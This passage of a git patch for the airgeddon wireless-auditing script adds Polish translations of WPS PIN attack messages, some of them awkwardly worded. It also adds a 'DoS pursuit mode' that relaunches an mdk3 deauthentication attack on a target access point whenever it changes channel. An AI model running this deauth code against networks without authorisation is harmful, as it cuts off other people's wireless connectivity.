εκκίνησης, ο οποίος είναι αυτή τη στιγμή ενεργοποιημένος. Θα απενεργοποιηθεί αυτόματα για να πραγματοποιηθεί η αλλαγή αυτή" arr["ITALIAN",479]="Questo cambio è in conflitto con il rilevamento automatico di lingua di inizio che è attualmente attivo. Esso viene disattivato automaticamente per poter fare il cambio" - arr["POLISH",479]="${pending_of_translation} " + arr["POLISH",479]="${pending_of_translation} Ta zmiana jest sprzeczna z automatyczną detekcją języka na początku, który jest aktualnie aktywny. Zostanie ona automatycznie deaktywowana w celu wprowadzenia zmian" arr["ENGLISH",480]="Current language is the same of permanent language already set. No changes will be done" arr["SPANISH",480]="El idioma actual es el mismo que ya está puesto como permanente. No se realizarán cambios" @@ -5278,7 +5278,7 @@ function language_strings() { arr["RUSSIAN",480]="Текущий язык тот же, что и уже установленный постоянный язык. Никаких изменений не будет сделано" arr["GREEK",480]="Η τρέχουσα γλώσσα είναι ίδια με τη μόνιμη γλώσσα που έχει οριστεί ήδη. Δεν θα γίνει καμία αλλαγή" arr["ITALIAN",480]="La lingua è la stessa che è giá impostata come permanente. Nessuna modifica sará effettuata" - arr["POLISH",480]="${pending_of_translation} " + arr["POLISH",480]="${pending_of_translation} Obecny język jest taki sam, który został już ustawiony jako stały. Nie zostaną wprowadzone żadne zmiany" arr["ENGLISH",481]="Language set to the current one permanently" arr["SPANISH",481]="Idioma cambiado al actual permanentemente" @@ -5288,7 +5288,7 @@ function language_strings() { arr["RUSSIAN",481]="Язык изменён на текущий с сохранением после перезапуска" arr["GREEK",481]="Τέθηκε μόνιμα η τρέχουσα γλώσσα" arr["ITALIAN",481]="Lingua cambiata a quella attuale permanentemente" - arr["POLISH",481]="${pending_of_translation} " + arr["POLISH",481]="${pending_of_translation} Język zmienił się na stałe na trwale" arr["ENGLISH",482]="8. Italian" arr["SPANISH",482]="8. Italiano" @@ -5298,7 +5298,7 @@ function language_strings() { arr["RUSSIAN",482]="8. Итальянский" arr["GREEK",482]="8. Ιταλικά" arr["ITALIAN",482]="8. Italiano" - arr["POLISH",482]="${pending_of_translation} " + arr["POLISH",482]="${pending_of_translation} 8. Włoski" arr["ENGLISH",483]="Language changed to Italian" arr["SPANISH",483]="Idioma cambiado a Italiano" @@ -5308,7 +5308,7 @@ function language_strings() { arr["RUSSIAN",483]="Язык изменён на Итальянский" arr["GREEK",483]="Η γλώσσα άλλαξε στα Ιταλικά" arr["ITALIAN",483]="Lingua cambiata in Italiano" - arr["POLISH",483]="${pending_of_translation} " + arr["POLISH",483]="${pending_of_translation} Język został zmieniony na język Włoski" arr["ENGLISH",484]="Root permissions successfully detected" arr["SPANISH",484]="Permisos de root correctamente detectados" @@ -5318,7 +5318,7 @@ function language_strings() { arr["RUSSIAN",484]="Успешно определены права root" arr["GREEK",484]="Τα δικαιώματα root έχουν παραχωρηθεί επιτυχώς" arr["ITALIAN",484]="I permessi di root sono stati rilevati correttamente" - arr["POLISH",484]="${pending_of_translation} " + arr["POLISH",484]="${pending_of_translation} Uprawnienia do root zostały prawidłowo wykryte" arr["ENGLISH",485]="${blue_color}Some PINs have been added calculated using the algorithms (ComputePIN, EasyBox, etc.), however you can add one more (Arcadyan). Calculating it requires certain data and a background scan will have to be performed. The process may be very slow. ${green_color}Do you want to proceed with the calculation to add it? ${normal_color}${visual_choice}" arr["SPANISH",485]="${blue_color}Se han añadido algunos PINs calculados por algoritmos (ComputePIN, EasyBox, etc.), pero aún se puede añadir uno más (Arcadyan). Calcularlo requiere ciertos datos y habrá que realizar un escaneo en segundo plano. Es posible que el proceso sea muy lento. ${green_color}¿Quieres proceder con el cálculo para añadirlo? ${normal_color}${visual_choice}" @@ -5328,7 +5328,7 @@ function language_strings() { arr["RUSSIAN",485]="${blue_color}Некоторые добавленные PIN были вычислены алгоритмами (ComputePIN, EasyBox, и т.д.), но вы можете добавить ещё один (Arcadyan). Для его вычисления требуются определенные данные, и необходимо выполнить фоновое сканирование. Процесс может быть очень медленным. ${green_color}Вы хотите добавить PIN, вычисленные этим алгоритмом? ${normal_color}${visual_choice}" arr["GREEK",485]="${blue_color}Έχουν προστεθεί ορισμένοι κωδικοί PIN υπολογισμένοι με τους αλγόριθμους (ComputePIN, EasyBox, κτλπ.), μπορείτε όμως να προσθέσετε άλλον έναν κωδικό (Arcadyan). Ο υπολογισμός του απαιτεί ορισμένα δεδομένα και θα πρέπει να πραγματοποιηθεί κάποιο scan στο background. Η διαδικασία αυτή μπορεί να αργοπορήσει. ${green_color}Θέλετε να συνεχίσετε με τον υπολογισμό του και να τον προσθέσετε; ${normal_color}${visual_choice}" arr["ITALIAN",485]="${blue_color}Sono stati aggiunti alcuni PIN calcolati da algoritmi (ComputePIN, EasyBox, etc.), ma è possibile aggiungerne ancora uno (Arcadyan). Il calcolo richiede alcuni dati e deve essere eseguita una scansione in secondo piano. Il processo può essere molto lento. ${green_color}Vuoi procedere con il calcolo per aggiungerlo? ${normal_color}${visual_choice}" - arr["POLISH",485]="${pending_of_translation} " + arr["POLISH",485]="${pending_of_translation} ${blue_color}Niektóre kody PIN zostały dodane obliczone algorytmami (ComputePIN, EasyBox, itd.), Ale można jeszcze dodać jeden (Arcadyan). Obliczanie go wymaga pewnych danych, a skanowanie tła będzie musiało być wykonane. Proces może być bardzo powolny. ${green_color}Czy chcesz kontynuować obliczenie, aby go dodać? ${normal_color}${visual_choice}" arr["ENGLISH",486]="It's not possible to generate PIN with Arcadyan algorithm. To be able to do it, update wash (included in reaver package) to a newer version including the necessary \"-j\" option (1.6.2)" arr["SPANISH",486]="No es posible generar el PIN con el algoritmo Arcadyan. Para poder hacerlo actualice wash (incluido en el paquete reaver) a una versión superior que tenga la necesaria opción \"-j\" (1.6.2)" @@ -5338,7 +5338,7 @@ function language_strings() { arr["RUSSIAN",486]="Невозможно создать PIN с алгоритмом Arcadyan. Чтобы это сделать, обновите wash (включена в пакет reaver) на более новую версию, которая имеет необходимую опцию \"-j\" (1.6.2)" arr["GREEK",486]="Δεν είναι δυνατό να δημιουργηθεί PIN με τον αλγόριθμο Arcadyan. Για να το κάνετε αυτό, ενημερώστε το wash (περιλαμβάνεται στο πακέτο του reaver) σε νεότερη έκδοση, συμπεριλαμβανομένης της απαραίτητης επιλογής \"-j\" (1.6.2)" arr["ITALIAN",486]="Non è possibile generare il PIN con l'algoritmo Arcadyan. Per effettuare questa operazione, aggiornare wash (incluso nel pacchetto reaver) a una versione più nuova che disponga dell'opzione necessaria \"-j\" (1.6.2)" - arr["POLISH",486]="${pending_of_translation} " + arr["POLISH",486]="${pending_of_translation} Nie jest możliwe wygenerowanie kodu PIN za pomocą algorytmu Arcadyan. Aby to zrobić, uaktualnij pranie (zawarte w pakiecie reaver) do wersji wyższej, która ma niezbędną opcję \"-j\" (1.6.2)" arr["ENGLISH",487]="PIN generated using Arcadyan algorithm (${normal_color}${arcadyan_pin}${yellow_color})" arr["SPANISH",487]="Se ha generado el PIN con el algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" @@ -5348,7 +5348,7 @@ function language_strings() { arr["RUSSIAN",487]="PIN-код, созданный с использованием алгоритма Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" arr["GREEK",487]="Το PIN δημιουργήθηκε με τον αλγόριθμο Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" arr["ITALIAN",487]="Il PIN è stato generato con l'algoritmo Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" - arr["POLISH",487]="${pending_of_translation} " + arr["POLISH",487]="${pending_of_translation} PIN został wygenerowany za pomocą algorytmu Arcadyan (${normal_color}${arcadyan_pin}${yellow_color})" arr["ENGLISH",488]="PIN can't be generated using Arcadyan algorithm. Failed to collect a complete \"probe\" response from the access point. Probably because of low signal quality" arr["SPANISH",488]="No se ha podido generar el PIN con el algoritmo Arcadyan. No se ha podido recoger una respuesta \"probe\" completa del punto de acceso. Probablemente porque la señal no es buena" @@ -5358,7 +5358,7 @@ function language_strings() { arr["RUSSIAN",488]="PIN-код не может быть сгенерирован с использованием алгоритма Arcadyan. Не удалось получить полный ответ \"probe\" от точки доступа. Возможно, из-за низкого качества сигнала" arr["GREEK",488]="Το PIN δεν μπορεί να δημιουργηθεί χρησιμοποιώντας τον αλγόριθμο Arcadyan. Δεν ήταν δυνατή η συλλογή πλήρους \"probe\" response από το σημείο πρόσβασης. Πιθανόν επειδή το σήμα είναι χαμηλό" arr["ITALIAN",488]="Impossibile generare il PIN con l'algoritmo Arcadyan. Impossibile raccogliere una risposta \"probe\" completa dal punto di accesso. Probabilmente perché il segnale non è buono" - arr["POLISH",488]="${pending_of_translation} " + arr["POLISH",488]="${pending_of_translation} Nie można wygenerować kodu PIN za pomocą algorytmu Arcadyan. Nie udało się zebrać kompletnej odpowiedzi \"probe\" z punktu dostępu. Prawdopodobnie dlatego, że sygnał nie jest dobry" arr["ENGLISH",489]="Attempting to collect a complete \"probe\" response from the target access point. This process can take up to 4 minutes..." arr["SPANISH",489]="Intentando recoger una respuesta \"probe\" completa del punto de acceso objetivo. Este proceso puede durar hasta 4 minutos..." @@ -5368,7 +5368,7 @@ function language_strings() { arr["RUSSIAN",489]="Попытка собрать полный запрос \"probe\" от целевой точки доступа. Этот процесс может занять до 4 минут..." arr["GREEK",489]="Γίνεται προσπάθεια συλλογής πλήρους \"probe\" response από το σημείο πρόσβασης (στόχος). Αυτή η διαδικασία μπορεί να διαρκέσει έως και 4 λεπτά..." arr["ITALIAN",489]="Cercando di raccogliere una risposta \"probe\" completa dal punto di accesso obiettivo. Questo processo può richiedere fino a 4 minuti..." - arr["POLISH",489]="${pending_of_translation} " + arr["POLISH",489]="${pending_of_translation} Próba zebrania kompletnej odpowiedzi \"probe\" z docelowego punktu dostępu. Proces ten może potrwać do 4 minut..." arr["ENGLISH",490]="The Arcadyan algorithm needs a very specific data to calculate the PIN (the serial number of the access point). Getting this data can take a lot of time. You can optionally choose to try to generate it. This generated PIN is very useful in networks of type Orange-XXXX" arr["SPANISH",490]="El algoritmo Arcadyan necesita un dato muy concreto para poder calcular el PIN (el número de serie del punto de acceso). Obtener este dato puede llevar bastante tiempo. Podrás elegir opcionalmente intentar generarlo. Este PIN generado es muy útil en redes del tipo Orange-XXXX" @@ -5378,7 +5378,7 @@ function language_strings() { arr["RUSSIAN",490]="Алгоритм Arcadyan требует очень специфических данных для расчета PIN-кода (серийный номер точки доступа). Получение этих данных может занять много времени. При желании вы можете сгенерировать PIN, используя этот алгоритм. Этот сгенерированный PIN-код очень полезен в сетях типа Orange-XXXX" arr["GREEK",490]="Ο αλγόριθμος Arcadyan χρειάζεται πολύ συγκεκριμένα δεδομένα για τον υπολογισμό του PIN (ο σειριακός αριθμός του σημείου πρόσβασης). Η λήψη αυτών των δεδομένων μπορεί να χρειαστεί αρκετό χρόνο. Μπορείτε να επιλέξετε να προσπαθήσετε να το δημιουργήσετε. Tο PIN που θα δημιουργηθεί είναι πολύ χρήσιμο σε δίκτυα τύπου Orange-XXXX" arr["ITALIAN",490]="L'algoritmo Arcadyan richiede dati molto specifici per calcolare il PIN (il numero di serie del punto di accesso). Ottenere questi dati può richiedere molto tempo. Puoi scegliere opzionalmente di provare a generarlo. Questo PIN generato è molto utile nelle reti di tipo Orange-XXXX" - arr["POLISH",490]="${pending_of_translation} " + arr["POLISH",490]="${pending_of_translation} Algorytm Arcadyan potrzebuje bardzo specyficznych danych do obliczania numeru PIN (numeru seryjnego punktu dostępu). Uzyskanie tych danych może zająć trochę czasu. Można opcjonalnie zdecydować się na jego wygenerowanie. Ten wygenerowany kod PIN jest bardzo przydatny w sieciach typu Orange-XXXX" arr["ENGLISH",491]="Arcadyan algorithm is not useful for the selected target network, a valid value can't be calculated" arr["SPANISH",491]="El algoritmo Arcadyan no sirve para la red objetivo seleccionada, no se puede calcular un valor válido" @@ -5388,7 +5388,7 @@ function language_strings() { arr["RUSSIAN",491]="Алгоритм Arcadyan бесполезен для выбранной целевой сети, действительное значение не может быть рассчитано" arr["GREEK",491]="Ο αλγόριθμος Arcadyan δεν είναι χρήσιμος για το επιλεγμένο δίκτυο, δεν μπορεί να υπολογιστεί έγκυρη τιμή" arr["ITALIAN",491]="L'algoritmo Arcadyan non è adatto alla rete selezionata come obiettivo, non è possibile calcolare un valore valido" - arr["POLISH",491]="${pending_of_translation} " + arr["POLISH",491]="${pending_of_translation} Algorytm Arcadyan nie pasuje do wybranej sieci docelowej, nie można obliczyć prawidłowej wartości" arr["ENGLISH",492]="The Arcadyan algorithm can't be calculated. Although you chose the bully option for the attack, you need to use wash (included in reaver package) to calculate that PIN and you don't have it installed. The script will continue the attack without including it" arr["SPANISH",492]="El algoritmo Arcadyan no puede ser calculado. Aunque elegiste la opción de ataque con bully, para calcular ese PIN se necesita utilizar wash (incluido en el paquete reaver) y tú no lo tienes instalado. El script continuará el ataque sin incluirlo" @@ -5398,7 +5398,7 @@ function language_strings() { arr["RUSSIAN",492]="Алгоритм Arcadyan не может быть рассчитан. Вы выбрали опцию bully для атаки, а для расчета этого PIN-кода вам необходимо использовать wash (включенную в пакет reaver), который у вас не установлен. Скрипт продолжит атаку без этого алгоритма" arr["GREEK",492]="Ο αλγόριθμος Arcadyan δεν μπορεί να υπολογιστεί. Παρόλο που επιλέξατε την επιλογή bully για την επίθεση, χρειάζεται να χρησιμοποιήσετε το wash (περιλαμβάνεται στο πακέτο του reaver) για να υπολογίσετε το PIN και δεν το έχετε εγκαταστήσει. Το script θα συνεχίσει την επίθεση χωρίς να το συμπεριλάβει" arr["ITALIAN",492]="L'algoritmo Arcadyan non può essere calcolato. Anche se hai scelto l'opzione di attacco con bully, per calcolare quel PIN che devi usare wash (incluso nel pacchetto reaver) e non l'hai installato. Lo script continuerà l'attacco senza includerlo" - arr["POLISH",492]="${pending_of_translation} " + arr["POLISH",492]="${pending_of_translation} Nie można obliczyć algorytmu Arcadyan. Chociaż wybrano opcję ataku za pomocą bully, aby obliczyć ten kod PIN, musisz użyć wash (dołączonego do pakietu reaver) i nie masz go zainstalowanego. Skrypt będzie kontynuował atak bez jego włączania" arr["ENGLISH",493]="The Arcadyan algorithm PIN has already been calculated for this target (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). There is no need to calculate it again" arr["SPANISH",493]="El PIN del algoritmo Arcadyan ya fue calculado para este objetivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). No hace falta calcularlo de nuevo" @@ -5408,7 +5408,7 @@ function language_strings() { arr["RUSSIAN",493]="PIN с помощью алгоритма Arcadyan уже рассчитан для этой цели (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Нет необходимости вычислять его снова" arr["GREEK",493]="Ο αλγόριθμος Arcadyan PIN έχει ήδη υπολογιστεί για αυτό το δίκτυο (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Δεν χρειάζεται να υπολογιστεί ξανά" arr["ITALIAN",493]="Il PIN dell'algoritmo Arcadyan è già stato calcolato per questo obiettivo (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Non c'è bisogno di calcolarlo di nuovo" - arr["POLISH",493]="${pending_of_translation} " + arr["POLISH",493]="${pending_of_translation} PIN algorytm Arcadyan został już obliczony w tym celu (${normal_color}${wps_data_array[${wps_bssid},'Arcadyan']}${yellow_color}). Nie musisz go ponownie obliczyć" arr["ENGLISH",494]="13. Offline PIN generation using algorithms and database" arr["SPANISH",494]="13. Generación offline de PINs con algoritmos y base de datos" @@ -5418,7 +5418,7 @@ function language_strings() { arr["RUSSIAN",494]="13. Офлайн генерация PIN-кода, используя алгоритмы и базу данных" arr["GREEK",494]="13. Offline δημιουργία PIN με χρήση δίαφορων αλγορίθμων και έτοιμης βάσης δεδομένων" arr["ITALIAN",494]="13. Generazione offline di PIN con algoritmi e database" - arr["POLISH",494]="${pending_of_translation} " + arr["POLISH",494]="${pending_of_translation} 13. Generowanie offline kodów PIN z algorytmami i bazą danych" arr["ENGLISH",495]="Offline PIN generation menu" arr["SPANISH",495]="Menú de generación offline de PINs" @@ -5428,7 +5428,7 @@ function language_strings() { arr["RUSSIAN",495]="Меню создания PIN-кода" arr["GREEK",495]="Μενού offline δημιουργίας PIN" arr["ITALIAN",495]="Menu di generazione offline dei PIN" - arr["POLISH",495]="${pending_of_translation} " + arr["POLISH",495]="${pending_of_translation} Menu generowania PIN offline" arr["ENGLISH",496]="5. Search in PIN database" arr["SPANISH",496]="5. Consultar en la base de datos de PINs" @@ -5438,7 +5438,7 @@ function language_strings() { arr["RUSSIAN",496]="5. Поиск в базе данных PIN-кода" arr["GREEK",496]="5. Αναζήτηση στη βάση δεδομένων PIN" arr["ITALIAN",496]="5. Controllare il database dei PIN" - arr["POLISH",496]="${pending_of_translation} " + arr["POLISH",496]="${pending_of_translation} 5. Sprawdź bazę danych PIN" arr["ENGLISH",497]="9. Return to WPS attacks menu" arr["SPANISH",497]="9. Volver al menú de ataques WPS" @@ -5448,7 +5448,7 @@ function language_strings() { arr["RUSSIAN",497]="9. Вернуться в меню атак WPS" arr["GREEK",497]="9. Επιστροφή στο μενού επιθέσεων WPS" arr["ITALIAN",497]="9. Tornare al menú attacchi WPS" - arr["POLISH",497]="${pending_of_translation} " + arr["POLISH",497]="${pending_of_translation} 9. Wróć do menu WPS Attack" arr["ENGLISH",498]="choose database or algorithm" arr["SPANISH",498]="escoge base de datos o algoritmo" @@ -5458,7 +5458,7 @@ function language_strings() { arr["RUSSIAN",498]="выбрать базу данных или алгоритм" arr["GREEK",498]="επιλέξτε βάση δεδομένων ή αλγόριθμο" arr["ITALIAN",498]="scegliere database o algoritmo" - arr["POLISH",498]="${pending_of_translation} " + arr["POLISH",498]="${pending_of_translation} wybierz bazę danych lub algorytm" arr["ENGLISH",499]="Showing matches in the PIN database..." arr["SPANISH",499]="Mostrando coincidencias de la base de datos de PINs..." @@ -5468,7 +5468,7 @@ function language_strings() { arr["RUSSIAN",499]="Отображение совпадений в базе данных PIN-кода..." arr["GREEK",499]="Εμφάνιση αντιστοιχιών στη βάση δεδομένων PIN..." arr["ITALIAN",499]="Mostrando le corrispondenze del database dei PIN..." - arr["POLISH",499]="${pending_of_translation} " + arr["POLISH",499]="${pending_of_translation} Wyświetlanie danych dotyczących bazy danych PIN..." arr["ENGLISH",500]="Showing calculated PIN using ComputePIN algorithm..." arr["SPANISH",500]="Mostrando PIN calculado con el algoritmo ComputePIN..." @@ -5478,7 +5478,7 @@ function language_strings() { arr["RUSSIAN",500]="Отображение PIN-кода, рассчитанного с использованием алгоритма ComputePIN..." arr["GREEK",500]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο ComputePIN..." arr["ITALIAN",500]="Mostrando il PIN calcolato utilizzando l'algoritmo ComputePIN..." - arr["POLISH",500]="${pending_of_translation} " + arr["POLISH",500]="${pending_of_translation} Wyświetlanie kodu PIN obliczonego przy użyciu algorytmu ComputePIN..." arr["ENGLISH",501]="Showing calculated PIN using EasyBox algorithm..." arr["SPANISH",501]="Mostrando PIN calculado con el algoritmo EasyBox..." @@ -5488,7 +5488,7 @@ function language_strings() { arr["RUSSIAN",501]="Отображение PIN-кода, рассчитанного с использованием алгоритма EasyBox..." arr["GREEK",501]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο EasyBox..." arr["ITALIAN",501]="Mostrando il PIN calcolato utilizzando l'algoritmo EasyBox..." - arr["POLISH",501]="${pending_of_translation} " + arr["POLISH",501]="${pending_of_translation} Wyświetlanie kodu PIN przy użyciu algorytmu EasyBox..." arr["ENGLISH",502]="Showing calculated PIN using Arcadyan algorithm..." arr["SPANISH",502]="Mostrando PIN calculado con el algoritmo Arcadyan..." @@ -5498,7 +5498,7 @@ function language_strings() { arr["RUSSIAN",502]="Отображение PIN-кода, рассчитанного с использованием алгоритма Arcadyan..." arr["GREEK",502]="Εμφανίζεται το PIN που έχει υπολογιστεί χρησιμοποιώντας τον αλγόριθμο Arcadyan..." arr["ITALIAN",502]="Mostrando il PIN calcolato utilizzando l'algoritmo Arcadyan..." - arr["POLISH",502]="${pending_of_translation} " + arr["POLISH",502]="${pending_of_translation} Wyświetlanie kodu PIN obliczonego przy użyciu algorytmu Arcadyan..." arr["ENGLISH",503]="It's not necessary to perform the scan again to calculate the Arcadyan algorithm PIN. This has already been done in this session" arr["SPANISH",503]="No es necesario realizar de nuevo el escaneo para calcular el PIN del algoritmo Arcadyan. Ya se realizó anteriormente en esta sesión" @@ -5508,7 +5508,7 @@ function language_strings() { arr["RUSSIAN",503]="Нет необходимости снова выполнять сканирование, чтобы вычислить PIN-код алгоритмом Arcadyan. Это уже сделано ранее в ходе этой сессии" arr["GREEK",503]="Δεν είναι απαραίτητο να εκτελέσετε ξανά το scan για να υπολογίσετε το PIN χρησιμοποιώντας τον Arcadyan αλγόριθμο. Έχει ήδη πραγματοποιηθεί σε αυτή τη συνεδρία" arr["ITALIAN",503]="Non è necessario eseguire nuovamente la scansione per calcolare il PIN dell'algoritmo Arcadyan. È già stato fatto in precedenza in questa sessione" - arr["POLISH",503]="${pending_of_translation} " + arr["POLISH",503]="${pending_of_translation} Aby obliczyć algorytm algorytm Arcadyan, nie jest konieczne przeprowadzanie skanowania. Już zrobiliśmy wcześniej w tej sesji" arr["ENGLISH",504]="${blue_color}This PIN calculation process is not entirely offline. A complete \"probe\" response is required from the target access point to obtain a necessary data. ${green_color}Do you want to continue? ${normal_color}${visual_choice}" arr["SPANISH",504]="${blue_color}Este proceso de cálculo de PIN no es puramente offline. Hace falta una respuesta \"probe\" completa del punto de acceso objetivo para obtener un dato necesario. ${green_color}¿Deseas continuar? ${normal_color}${visual_choice}" @@ -5518,7 +5518,7 @@ function language_strings() { arr["RUSSIAN",504]="${blue_color}Этот процесс расчета PIN-кода не является чисто офлайн. От целевой точки доступа требуется полный запрос \"probe\" для получения необходимых данных. ${green_color}Вы хотите продолжить? ${normal_color}${visual_choice}" arr["GREEK",504]="${blue_color}Αυτή η διαδικασία υπολογισμού PIN δεν είναι καθ' αυτοὺ offline. Απαιτείται ένα ολοκληρωμένο \"probe\" response από το σημείο πρόσβασης για να ληφθούν τα απαραίτητα δεδομένα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" - arr["POLISH",504]="${pending_of_translation} " + arr["POLISH",504]="${pending_of_translation} ${blue_color}Ten proces obliczania kodu PIN nie jest wyłącznie offline. Wymagana jest pełna odpowiedź \"probe\" z docelowego punktu dostępu, aby uzyskać niezbędne dane. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" case "${3}" in "yellow") From 226409ac21f28318171d9622950c6dd095f03cba Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 29 Oct 2017 22:02:40 +0100 Subject: [PATCH 20/70] Added "DoS pursuit mode" on first DoS attack (mdk3 amok) to avoid AP channel hopping --- airgeddon.sh | 100 +++++++++++++++++++++++++++++++++++++++++--- language_strings.sh | 32 +++++++++++++- 2 files changed, 126 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 670021b43..69e5389c9 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171022 +#Date.........: 20171029 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -2730,6 +2730,68 @@ function exec_wps_pin_database_reaver_attack() { xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } +#Execute DoS pursuit mode attack +function launch_dos_pursuit_mode_attack() { + + debug_print + + rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 + rm -rf "${tmpdir}clts"* > /dev/null 2>&1 + + if [[ -n "${2}" ]] && [[ "${2}" = "relaunch" ]]; then + echo + language_strings "${language}" 507 "yellow" + fi + + recalculate_windows_sizes + case "${1}" in + "mdk3 amok attack") + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + ;; + #TODO implement case for other DoS attacks + esac + + dos_pursuit_mode_attack_pid=$! + dos_pursuit_mode_pids+=("${dos_pursuit_mode_attack_pid}") + + airodump-ng -w "${tmpdir}dos_pm" "${interface}" > /dev/null 2>&1 & + dos_pursuit_mode_scan_pid=$! + dos_pursuit_mode_pids+=("${dos_pursuit_mode_scan_pid}") +} + +#Parse and control pids for DoS pursuit mode attack +pid_control_pursuit_mode() { + + debug_print + + while true; do + sleep 5 + if grep "${bssid}" "${tmpdir}dos_pm-01.csv" > /dev/null 2>&1; then + readarray -t DOS_PM_LINES_TO_PARSE < <(cat < "${tmpdir}dos_pm-01.csv" 2> /dev/null) + + for item in "${DOS_PM_LINES_TO_PARSE[@]}"; do + if [[ "${item}" =~ ${bssid} ]]; then + dos_pm_current_channel=$(echo "${item}" | awk -F "," '{print $4}' | sed 's/^[ ^t]*//') + + if [[ "${dos_pm_current_channel}" =~ ^([0-9]+)$ ]] && [[ "${BASH_REMATCH[1]}" -ne 0 ]] && [[ "${BASH_REMATCH[1]}" -ne "${channel}" ]]; then + channel="${dos_pm_current_channel}" + kill_dos_pursuit_mode_processes + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "${1}" "relaunch" + fi + fi + done + fi + + dos_attack_alive=$(ps uax | awk '{print $2}' | grep -E "^${dos_pursuit_mode_attack_pid}$" 2> /dev/null) + if [ -z "${dos_attack_alive}" ]; then + break + fi + done + + kill_dos_pursuit_mode_processes +} + #Execute mdk3 deauth DoS attack function exec_mdk3deauth() { @@ -2744,10 +2806,19 @@ function exec_mdk3deauth() { echo "${bssid}" > "${tmpdir}bl.txt" echo - language_strings "${language}" 33 "yellow" - language_strings "${language}" 4 "read" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 + if [ "${dos_pursuit_mode}" -eq 1 ]; then + language_strings "${language}" 506 "yellow" + language_strings "${language}" 4 "read" + + dos_pursuit_mode_pids=() + launch_dos_pursuit_mode_attack "mdk3 amok attack" "first_time" + pid_control_pursuit_mode "mdk3 amok attack" + else + language_strings "${language}" 33 "yellow" + language_strings "${language}" 4 "read" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 + fi } #Execute aireplay DoS attack @@ -2852,6 +2923,12 @@ function mdk3_deauth_option() { return fi ask_channel + + ask_yesno 505 "yes" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + fi + exec_mdk3deauth } @@ -3322,6 +3399,7 @@ function initialize_menu_and_print_selections() { print_all_target_vars ;; "dos_attacks_menu") + dos_pursuit_mode=0 print_iface_selected print_all_target_vars ;; @@ -3414,6 +3492,7 @@ function clean_tmpfiles() { rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1 rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1 rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1 + rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1 } #Manage cleaning firewall rules and restore orginal routing state @@ -6985,6 +7064,17 @@ function kill_et_windows() { kill ${et_process_control_window} &> /dev/null } +#Kill DoS pursuit mode processes +function kill_dos_pursuit_mode_processes() { + + debug_print + + for item in "${dos_pursuit_mode_pids[@]}"; do + kill "${item}" &> /dev/null + wait "${item}" 2>/dev/null + done +} + #Convert capture file to hashcat format function convert_cap_to_hashcat_format() { diff --git a/language_strings.sh b/language_strings.sh index 4aaa3a222..adf847c3a 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171024 +#Date.........: 20171029 #Bash Version.: 4.2 or later #Set language_strings file version @@ -5520,6 +5520,36 @@ function language_strings() { arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" arr["POLISH",504]="${pending_of_translation} ${blue_color}Ten proces obliczania kodu PIN nie jest wyłącznie offline. Wymagana jest pełna odpowiedź \"probe\" z docelowego punktu dostępu, aby uzyskać niezbędne dane. ${green_color}Czy chcesz kontynuować? ${normal_color}${visual_choice}" + arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? ${blue_color}This will launch again the attack if target AP change its channel countering \"channel hopping\" ${normal_color}${visual_choice}" + arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? ${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" ${normal_color}${visual_choice}" + arr["FRENCH",505]="${pending_of_translation} " + arr["CATALAN",505]="${pending_of_translation} " + arr["PORTUGUESE",505]="${pending_of_translation} " + arr["RUSSIAN",505]="${pending_of_translation} " + arr["GREEK",505]="${pending_of_translation} " + arr["ITALIAN",505]="${pending_of_translation} " + 